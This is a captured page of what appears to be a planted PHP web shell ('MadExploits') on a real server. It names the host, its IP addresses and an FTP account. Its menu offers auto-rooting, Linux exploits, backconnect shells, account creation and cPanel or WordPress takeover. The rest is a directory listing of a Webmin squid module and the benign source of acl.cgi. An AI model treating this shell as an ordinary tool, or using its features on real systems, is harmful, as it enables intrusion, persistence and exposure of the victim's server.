Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
squid /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
2.59
KB
-rw-r--r--
acl.cgi
10.91
KB
-rwxr-xr-x
acl_save.cgi
8.13
KB
-rwxr-xr-x
acl_security.pl
1.72
KB
-rwxr-xr-x
always.cgi
1.76
KB
-rwxr-xr-x
always_save.cgi
1.17
KB
-rwxr-xr-x
backup_config.pl
732
B
-rwxr-xr-x
cachemgr.cgi
1.03
KB
-rwxr-xr-x
calamaris.cgi
3.09
KB
-rwxr-xr-x
cgi_args.pl
2.23
KB
-rwxr-xr-x
chown.cgi
1.42
KB
-rwxr-xr-x
clear.cgi
2.87
KB
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
439
B
-rw-r--r--
config-Amazon-Linux-2-ALL
398
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
398
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
439
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
439
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
439
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
439
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
398
B
-rw-r--r--
config-Ubuntu-Linux-16.0-ALL
447
B
-rw-r--r--
config-aix
365
B
-rw-r--r--
config-cobalt-linux
364
B
-rw-r--r--
config-coherent-linux
422
B
-rw-r--r--
config-corel-linux
338
B
-rw-r--r--
config-debian-linux
338
B
-rw-r--r--
config-debian-linux-10.0-ALL
447
B
-rw-r--r--
config-debian-linux-3.0-4.9
344
B
-rw-r--r--
config-debian-linux-5.0-5.9
454
B
-rw-r--r--
config-debian-linux-6.0-6.9
442
B
-rw-r--r--
config-debian-linux-7.0-9.0
449
B
-rw-r--r--
config-freebsd
395
B
-rw-r--r--
config-freebsd-8-ALL
484
B
-rw-r--r--
config-generic-linux
405
B
-rw-r--r--
config-gentoo-linux
412
B
-rw-r--r--
config-hpux
405
B
-rw-r--r--
config-irix
405
B
-rw-r--r--
config-lfs-linux
374
B
-rw-r--r--
config-macos
405
B
-rw-r--r--
config-mandrake-linux
409
B
-rw-r--r--
config-mandrake-linux-8.0-ALL
406
B
-rw-r--r--
config-msc-linux
422
B
-rw-r--r--
config-netbsd
360
B
-rw-r--r--
config-open-linux
429
B
-rw-r--r--
config-open-linux-3.1e
431
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
447
B
-rw-r--r--
config-openbsd
395
B
-rw-r--r--
config-openmamba-linux
347
B
-rw-r--r--
config-openserver
405
B
-rw-r--r--
config-osf1
405
B
-rw-r--r--
config-pardus-linux
416
B
-rw-r--r--
config-redhat-linux
341
B
-rw-r--r--
config-redhat-linux-24.0-ALL
439
B
-rw-r--r--
config-redhat-linux-6.0
427
B
-rw-r--r--
config-redhat-linux-6.1-23.0
420
B
-rw-r--r--
config-slackware-linux
405
B
-rw-r--r--
config-sol-linux
401
B
-rw-r--r--
config-solaris
405
B
-rw-r--r--
config-solaris-11-ALL
461
B
-rw-r--r--
config-suse-linux
332
B
-rw-r--r--
config-suse-linux-8.0
359
B
-rw-r--r--
config-suse-linux-8.2-ALL
456
B
-rw-r--r--
config-trustix-linux
412
B
-rw-r--r--
config-turbo-linux
341
B
-rw-r--r--
config-united-linux
435
B
-rw-r--r--
config-unixware
405
B
-rw-r--r--
config.info
1.16
KB
-rw-r--r--
config.info.ca
1.42
KB
-rw-r--r--
config.info.cs
924
B
-rw-r--r--
config.info.de
1.4
KB
-rw-r--r--
config.info.es
1.36
KB
-rw-r--r--
config.info.fa
1.57
KB
-rw-r--r--
config.info.fr
538
B
-rw-r--r--
config.info.it
570
B
-rw-r--r--
config.info.ja
1.34
KB
-rw-r--r--
config.info.nl
1.35
KB
-rw-r--r--
config.info.no
1.22
KB
-rw-r--r--
config.info.pl
737
B
-rw-r--r--
config.info.pt_BR
1.44
KB
-rw-r--r--
config.info.ru
1.39
KB
-rw-r--r--
config.info.sv
569
B
-rw-r--r--
config.info.tr
369
B
-rw-r--r--
config.info.uk
1.41
KB
-rw-r--r--
config.info.zh
450
B
-rw-r--r--
config.info.zh_TW
355
B
-rw-r--r--
defaultacl
228
B
-rw-r--r--
delete_http_accesses.cgi
848
B
-rwxr-xr-x
delete_http_reply_accesses.cgi
913
B
-rwxr-xr-x
delete_https.cgi
838
B
-rwxr-xr-x
delete_icp_accesses.cgi
836
B
-rwxr-xr-x
delete_icps.cgi
1.14
KB
-rwxr-xr-x
delete_pools.cgi
1.42
KB
-rwxr-xr-x
delete_refreshes.cgi
840
B
-rwxr-xr-x
edit_acl.cgi
6.99
KB
-rwxr-xr-x
edit_admin.cgi
2.44
KB
-rwxr-xr-x
edit_authparam.cgi
4.62
KB
-rwxr-xr-x
edit_cache.cgi
7.39
KB
-rwxr-xr-x
edit_cache_host.cgi
4.76
KB
-rwxr-xr-x
edit_cachemgr.cgi
1.82
KB
-rwxr-xr-x
edit_delay.cgi
2.86
KB
-rwxr-xr-x
edit_ext.cgi
1.53
KB
-rwxr-xr-x
edit_headeracc.cgi
1.96
KB
-rwxr-xr-x
edit_icp.cgi
5.28
KB
-rwxr-xr-x
edit_iptables.cgi
1.91
KB
-rwxr-xr-x
edit_logs.cgi
4.74
KB
-rwxr-xr-x
edit_manual.cgi
919
B
-rwxr-xr-x
edit_mem.cgi
2.48
KB
-rwxr-xr-x
edit_misc.cgi
3.92
KB
-rwxr-xr-x
edit_nauth.cgi
1.26
KB
-rwxr-xr-x
edit_nuser.cgi
1.46
KB
-rwxr-xr-x
edit_pool.cgi
4.18
KB
-rwxr-xr-x
edit_ports.cgi
3.28
KB
-rwxr-xr-x
edit_progs.cgi
3.06
KB
-rwxr-xr-x
edit_refresh.cgi
1.91
KB
-rwxr-xr-x
http_access.cgi
2
KB
-rwxr-xr-x
http_access_save.cgi
1.37
KB
-rwxr-xr-x
http_reply_access.cgi
1.81
KB
-rwxr-xr-x
http_reply_access_save.cgi
1.25
KB
-rwxr-xr-x
icp_access.cgi
1.98
KB
-rwxr-xr-x
icp_access_save.cgi
1.35
KB
-rwxr-xr-x
index.cgi
5.54
KB
-rwxr-xr-x
init_cache.cgi
3.03
KB
-rwxr-xr-x
install_check.pl
615
B
-rwxr-xr-x
list_headeracc.cgi
1.71
KB
-rwxr-xr-x
list_refresh.cgi
1.63
KB
-rwxr-xr-x
log_parser.pl
1.27
KB
-rwxr-xr-x
module.info
496
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
122
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
191
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
231
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
249
B
-rw-r--r--
module.info.ca
112
B
-rw-r--r--
module.info.ca.auto
16
B
-rw-r--r--
module.info.cs
27
B
-rw-r--r--
module.info.cs.auto
105
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
134
B
-rw-r--r--
module.info.de
110
B
-rw-r--r--
module.info.de.auto
20
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
230
B
-rw-r--r--
module.info.es
31
B
-rw-r--r--
module.info.es.auto
124
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
138
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
231
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
159
B
-rw-r--r--
module.info.fr
28
B
-rw-r--r--
module.info.fr.auto
127
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
194
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
143
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
170
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
142
B
-rw-r--r--
module.info.ja
37
B
-rw-r--r--
module.info.ja.auto
147
B
-rw-r--r--
module.info.ko
31
B
-rw-r--r--
module.info.ko.auto
121
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
151
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
159
B
-rw-r--r--
module.info.ms
116
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
144
B
-rw-r--r--
module.info.nl
27
B
-rw-r--r--
module.info.nl.auto
98
B
-rw-r--r--
module.info.no
0
B
-rw-r--r--
module.info.no.auto
131
B
-rw-r--r--
module.info.pl
27
B
-rw-r--r--
module.info.pl.auto
115
B
-rw-r--r--
module.info.pt
29
B
-rw-r--r--
module.info.pt.auto
103
B
-rw-r--r--
module.info.pt_BR
32
B
-rw-r--r--
module.info.pt_BR.auto
109
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
147
B
-rw-r--r--
module.info.ru
40
B
-rw-r--r--
module.info.ru.auto
171
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
181
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
146
B
-rw-r--r--
module.info.sv
26
B
-rw-r--r--
module.info.sv.auto
111
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
231
B
-rw-r--r--
module.info.tr
29
B
-rw-r--r--
module.info.tr.auto
132
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
243
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
205
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
147
B
-rw-r--r--
module.info.zh
30
B
-rw-r--r--
module.info.zh.auto
84
B
-rw-r--r--
module.info.zh_TW
33
B
-rw-r--r--
module.info.zh_TW.auto
90
B
-rw-r--r--
move_always.cgi
762
B
-rwxr-xr-x
move_headeracc.cgi
777
B
-rwxr-xr-x
move_http.cgi
748
B
-rwxr-xr-x
move_http_reply.cgi
797
B
-rwxr-xr-x
move_icp.cgi
736
B
-rwxr-xr-x
move_never.cgi
751
B
-rwxr-xr-x
move_pool.cgi
831
B
-rwxr-xr-x
move_refresh.cgi
822
B
-rwxr-xr-x
nat
34.84
KB
-rw-r--r--
never.cgi
1.75
KB
-rwxr-xr-x
never_save.cgi
1.15
KB
-rwxr-xr-x
parser-lib.pl
6.39
KB
-rwxr-xr-x
pool_access.cgi
1.82
KB
-rwxr-xr-x
pool_access_save.cgi
1.17
KB
-rwxr-xr-x
purge.cgi
1.11
KB
-rwxr-xr-x
restart.cgi
381
B
-rwxr-xr-x
save_admin.cgi
2.23
KB
-rwxr-xr-x
save_authparam.cgi
5.29
KB
-rwxr-xr-x
save_cache.cgi
6.03
KB
-rwxr-xr-x
save_cache_host.cgi
3.8
KB
-rwxr-xr-x
save_cachemgr.cgi
1.15
KB
-rwxr-xr-x
save_delay.cgi
656
B
-rwxr-xr-x
save_ext.cgi
2.32
KB
-rwxr-xr-x
save_headeracc.cgi
1.26
KB
-rwxr-xr-x
save_icp.cgi
1.18
KB
-rwxr-xr-x
save_iptables.cgi
2.9
KB
-rwxr-xr-x
save_logs.cgi
3.14
KB
-rwxr-xr-x
save_manual.cgi
493
B
-rwxr-xr-x
save_mem.cgi
1.72
KB
-rwxr-xr-x
save_misc.cgi
2.65
KB
-rwxr-xr-x
save_nuser.cgi
1.89
KB
-rwxr-xr-x
save_pool.cgi
3.19
KB
-rwxr-xr-x
save_ports.cgi
2.59
KB
-rwxr-xr-x
save_progs.cgi
2.55
KB
-rwxr-xr-x
save_refresh.cgi
1.46
KB
-rwxr-xr-x
squid-auth.pl
446
B
-rwxr-xr-x
squid-lib.pl
16.16
KB
-rwxr-xr-x
start.cgi
1.16
KB
-rwxr-xr-x
stop.cgi
881
B
-rwxr-xr-x
syslog_logs.pl
715
B
-rwxr-xr-x
useradmin_update.pl
2.8
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : acl.cgi
#!/usr/bin/perl # acl.cgi # Display a form for editing or creating a new ACL use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; our (%text, %in, %access, $squid_version, %config, %acl_types, @caseless_acl_types, @nodns_acl_types); require './squid-lib.pl'; $access{'actrl'} || &error($text{'eacl_ecannot'}); &ReadParse(); my $conf = &get_config(); my $type; my (@acl, @aclopts, @deny, @vals, $file, $acloptfound); if ($in{'type'}) { &ui_print_header(undef, $text{'acl_header1'}, "", undef, 0, 0, 0, &restart_button()); $type = $in{'type'}; @vals = ( ); } else { &ui_print_header(undef, $text{'acl_header2'}, "", undef, 0, 0, 0, &restart_button()); @acl = @{$conf->[$in{'index'}]->{'values'}}; $type = $acl[1]; $acloptfound = 0; if ($type eq "external" || &indexof($type, @caseless_acl_types) >= 0 || &indexof($type, @nodns_acl_types) >= 0) { if ($acl[3] =~ /^"(.*)"$/) { # Extra parameters come from file @vals = ( $acl[2] ); $file = $1; $acloptfound = 1; } elsif ($acl[4] =~ /^"(.*)"$/) { # Extra parameters come from file @vals = @acl[2..3]; $file = $1; $acloptfound = 1; } if ($type ne "external") { @aclopts = @vals; @vals = ( ); } } if ($acloptfound) { # do nothing } elsif ($acl[2] =~ /^"(.*)"$/) { # All values come from a file $file = $1; } else { # All values come from acl parameters @vals = ( ); for(my $i=2; $i<=$#acl; $i++) { if ($acl[$i] eq "--") { # end of options push everything remaining push (@vals, @acl[$i..$#acl]); last; } elsif (($acl[$i] eq "-i" && &indexof($type, @caseless_acl_types) >= 0) || ($acl[$i] eq "-n" && &indexof($type, @nodns_acl_types) >= 0)) { push (@aclopts, $acl[$i]); $acloptfound = 1; } else { push (@vals, $acl[$i]); } } } if ($file) { my @newvals = split(/\r?\n/, &read_file_contents($file)); push(@vals, @newvals); } if ($type =~ /^(src|dst|srcdomain|dstdomain|user|myip)$/) { @vals = sort { $a cmp $b } @vals; } elsif ($type eq "port") { @vals = sort { $a <=> $b } @vals; } @deny = grep { $_->{'values'}->[1] eq $acl[0] } &find_config("deny_info", $conf); } print &ui_form_start("acl_save.cgi", "form-data"); if (@acl) { print &ui_hidden("index", $in{'index'}); } if (@deny) { print &ui_hidden("dindex", $deny[0]->{'index'}); } print &ui_hidden("type", $type); print &ui_table_start("$acl_types{$type} ACL", undef, 2); # ACL name print &ui_table_row($text{'acl_name'}, &ui_textbox("name", $acl[0], 30)); if ($type eq "src" || $type eq "dst") { # By source or dest address/network my $nodns; $nodns = 1 if ($type eq 'dst' && grep (/^\-n$/, @aclopts)); my $table = &ui_columns_start([ $text{'acl_fromip'}, $text{'acl_toip'}, $text{'acl_nmask'} ]); for(my $i=0; $i<=@vals; $i++) { my ($from, $to, $mask) = @_; if ($vals[$i] =~ /^([a-z0-9\.\:]+)-([a-z0-9\.\:]+)\/([\d\.]+)$/) { $from = $1; $to = $2; $mask = $3; } elsif ($vals[$i] =~ /^([a-z0-9\.\:]+)-([a-z0-9\.\:]+)$/) { $from = $1; $to = $2; $mask = ""; } elsif ($vals[$i] =~ /^([a-z0-9\.\:]+)\/([\d\.]+)$/) { $from = $1; $to = ""; $mask = $2; } elsif ($vals[$i] =~ /^([a-z0-9\.\:]+)$/) { $from = $1; $to = ""; $mask = ""; } else { $from = $to = $mask = ""; } $table .= &ui_columns_row([ &ui_textbox("from_$i", $from, 20), &ui_textbox("to_$i", $to, 20), &ui_textbox("mask_$i", $mask, 20), ]); } $table .= &ui_columns_end(); print &ui_table_row(undef, $table, 2); print &ui_table_row(undef, &ui_checkbox("nodns", 1, $text{'acl_nodns'}, $nodns)) if ($type eq "dst"); } elsif ($type eq "myip") { # By local IP address my $table = &ui_columns_start([ $text{'acl_ipaddr'}, $text{'acl_nmask'} ]); for(my $i=0; $i<=@vals; $i++) { my ($ip, $mask); if ($vals[$i] =~ /^([a-z0-9\.\:]+)\/([\d\.]+)$/) { $ip = $1; $mask = $2; } else { $ip = $mask = ""; } $table .= &ui_columns_row([ &ui_textbox("ip_$i", $ip, 20), &ui_textbox("mask_$i", $mask, 20), ]); } $table .= &ui_columns_end(); print &ui_table_row(undef, $table, 2); } elsif ($type eq "srcdomain" || $type eq "dstdomain") { # Source or destination domain my $nodns; $nodns = 1 if ($type eq 'dstdomain' && grep (/^\-n$/, @aclopts)); print &ui_table_row($text{'acl_domains'}, &ui_textarea("vals", join("\n", @vals), 6, 60)); print &ui_table_row(undef, &ui_checkbox("nodns", 1, $text{'acl_nodns'}, $nodns)) if ($type eq "dstdomain"); } elsif ($type eq "time") { # Day or week and time of day my $vals = join(' ', @vals); my %day; if ($vals =~ /[A-Z]+/) { foreach my $d (split(//, $vals)) { $day{$d}++; } } my ($h1, $h2, $m1, $m2, $hour); if ($vals =~ /(\d+):(\d+)-(\d+):(\d+)/) { $h1 = $1; $m1 = $2; $h2 = $3; $m2 = $4; $hour++; } my @day_name = ( [ 'S', $text{'acl_dsun'} ], [ 'M', $text{'acl_dmon'} ], [ 'T', $text{'acl_dtue'} ], [ 'W', $text{'acl_dwed'} ], [ 'H', $text{'acl_dthu'} ], [ 'F', $text{'acl_dfri'} ], [ 'A', $text{'acl_dsat'} ] ); print &ui_table_row($text{'acl_dofw'}, &ui_radio("day_def", %day ? 0 : 1, [ [ 1, $text{'acl_all'} ], [ 0, $text{'acl_sel'} ] ])."<br>\n". &ui_select("day", [ keys %day ], \@day_name, 7, 1)); print &ui_table_row($text{'acl_hofd'}, &ui_radio("hour_def", $hour ? 0 : 1, [ [ 1, $text{'acl_all'} ], [ 0, &ui_textbox("h1", $h1, 2).":". &ui_textbox("m1", $m1, 2)." $text{'acl_to'} ". &ui_textbox("h2", $h2, 2).":". &ui_textbox("m2", $m2, 2) ] ])); } elsif ($type eq "url_regex" || $type eq "urlpath_regex") { # URL regular expression my $caseless; $caseless = 1 if (grep (/^\-i$/, @aclopts)); print &ui_table_row($text{'acl_regexp'}, &ui_checkbox("caseless", 1, $text{'acl_case'}, $caseless). "<br>\n". &ui_textarea("vals", join("\n", @vals), 6, 60)); } elsif ($type eq "port") { # Request port number print &ui_table_row($text{'acl_tcpports'}, &ui_textbox("vals", join(" ", @vals), 60)); } elsif ($type eq "proto") { # Request protocol my %proto = map { $_, 1 } @vals; print &ui_table_row($text{'acl_urlproto'}, join(" ", map { &ui_checkbox("vals", $_, $_, $proto{$_}) } ('http', 'ftp', 'gopher', 'wais', 'cache_object'))); } elsif ($type eq "method") { # HTTP method my %meth = map { $_, 1 } @vals; print &ui_table_row($text{'acl_reqmethods'}, join(" ", map { &ui_checkbox("vals", $_, $_, $meth{$_}) } ('GET', 'POST', 'HEAD', 'CONNECT', 'PUT', 'DELETE'))); } elsif ($type eq "browser") { # Browser user agent print &ui_table_row($text{'acl_bregexp'}, &ui_textbox("vals", join(" ", @vals), 60)); } elsif ($type eq "user") { # Proxy usernames print &ui_table_row($text{'acl_pusers'}, &ui_textarea("vals", join("\n", @vals), 6, 60)); } elsif ($type eq "src_as" || $type eq "dst_as") { # Source or destination AS number print &ui_table_row($text{'acl_asnum'}, &ui_textbox("vals", join(" ", @vals), 20)); } elsif ($type eq "proxy_auth" && $squid_version < 2.3) { # Refresh time print &ui_table_row($text{'acl_rtime'}, &ui_textbox("vals", $vals[0], 8)); } elsif ($type eq "proxy_auth" && $squid_version >= 2.3) { # Proxy username print &ui_table_row($text{'acl_eusers'}, &ui_radio("authall", $vals[0] eq 'REQUIRED' || $in{'type'} ? 1 : 0, [ [ 1, $text{'acl_eusersall'} ], [ 0, $text{'acl_euserssel'} ] ])."<br>\n". &ui_textarea("vals", $vals[0] eq 'REQUIRED' || $in{'type'} ? "" : join("\n", @vals), 6, 60)); } elsif ($type eq "proxy_auth_regex") { # Username regexp my $caseless; $caseless = 1 if (grep (/^\-i$/, @aclopts)); print &ui_table_row($text{'acl_eusers'}, &ui_checkbox("caseless", 1, $text{'acl_case'}, $caseless). "<br>\n". &ui_textarea("vals", join("\n", @vals), 6, 60)); } elsif ($type eq "srcdom_regex" || $type eq "dstdom_regex") { # Source or destination domain regexp my ($caseless, $nodns, $dnshtml); $caseless = 1 if (grep (/^\-i$/, @aclopts)); $nodns = 1 if ($type eq "dstdom_regex" && grep (/^\-n$/, @aclopts)); $dnshtml = ""; $dnshtml = &ui_checkbox("nodns", 1, $text{'acl_nodns'}, $nodns) . "<br>\n" if ($type eq "dstdom_regex"); print &ui_table_row($text{'acl_regexp'}, &ui_checkbox("caseless", 1, $text{'acl_case'}, $caseless). "<br>\n" . $dnshtml . &ui_textarea("vals", join("\n", @vals), 6, 60)); } elsif ($type eq "ident") { # IDENT protocol user print &ui_table_row($text{'acl_rfcusers'}, &ui_textarea("vals", join("\n", @vals), 6, 60)); } elsif ($type eq "ident_regex") { # IDENT protocol username regexp my $caseless; $caseless = 1 if (grep (/^\-i$/, @aclopts)); print &ui_table_row($text{'acl_rfcusersr'}, &ui_checkbox("caseless", 1, $text{'acl_case'}, $caseless). "<br>\n". &ui_textarea("vals", join("\n", @vals), 6, 60)); } elsif ($type eq "maxconn") { # Max concurrent connections print &ui_table_row($text{'acl_mcr'}, &ui_textbox("vals", $vals[0], 8)); } elsif ($type eq "max_user_ip") { # Max connections per IP my $mipstrict; if ($vals[0] eq '-s') { $mipstrict++; shift(@vals); } print &ui_table_row($text{'acl_mai'}, &ui_textbox("vals", $vals[0], 8)); print &ui_table_row($text{'acl_extargs'}, &ui_checkbox("strict", 1, $text{'acl_maistrict'}, $mipstrict). "<br>\n". &ui_textbox("args", join(" ", @vals[1..$#vals]), 60). "<br>\n".$text{'acl_mairemind'}); } elsif ($type eq "myport") { # Local port number print &ui_table_row($text{'acl_psp'}, &ui_textbox("vals", $vals[0], 8)); } elsif ($type eq "snmp_community") { # SNMP community print &ui_table_row($text{'acl_scs'}, &ui_textbox("vals", $vals[0], 15)); } elsif ($type eq "req_mime_type") { # Request MIME type print &ui_table_row($text{'acl_rmt'}, &ui_textbox("vals", $vals[0], 15)); } elsif ($type eq "rep_mime_type") { # Reply MIME type print &ui_table_row($text{'acl_rpmt'}, &ui_textbox("vals", $vals[0], 15)); } elsif ($type eq "arp") { # Client MAC address print &ui_table_row($text{'acl_arp'}, &ui_textarea("vals", join("\n", @vals), 6, 60)); } elsif ($type eq "external") { # External program print &ui_table_row($text{'acl_extclass'}, &ui_select("class", $vals[0], [ map { $_->{'values'}->[0] } &find_config("external_acl_type", $conf) ])); print &ui_table_row($text{'acl_extargs'}, &ui_textbox("args", join(" ", @vals[1..$#vals]), 60)); } # Show URL to redirect on failure print &ui_table_row($text{'acl_failurl'}, &ui_textbox("deny", @deny ? $deny[0]->{'values'}->[0] : "", 40)); # Show file in which ACL is stored print &ui_table_row($text{'acl_file'}, &ui_opt_textbox("file", $file, 40, $text{'acl_nofile'}, $text{'acl_infile'})." ". &file_chooser_button("file")."<br>\n". ($in{'type'} ? &ui_checkbox("keep", 1, $text{'acl_keep'}, 0) : "")); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'acl_buttsave'} ], $in{'type'} ? ( ) : ( [ 'delete', $text{'acl_buttdel'} ] ), ]); &ui_print_footer("edit_acl.cgi?mode=acls", $text{'acl_return'}, "", $text{'index_return'});
Close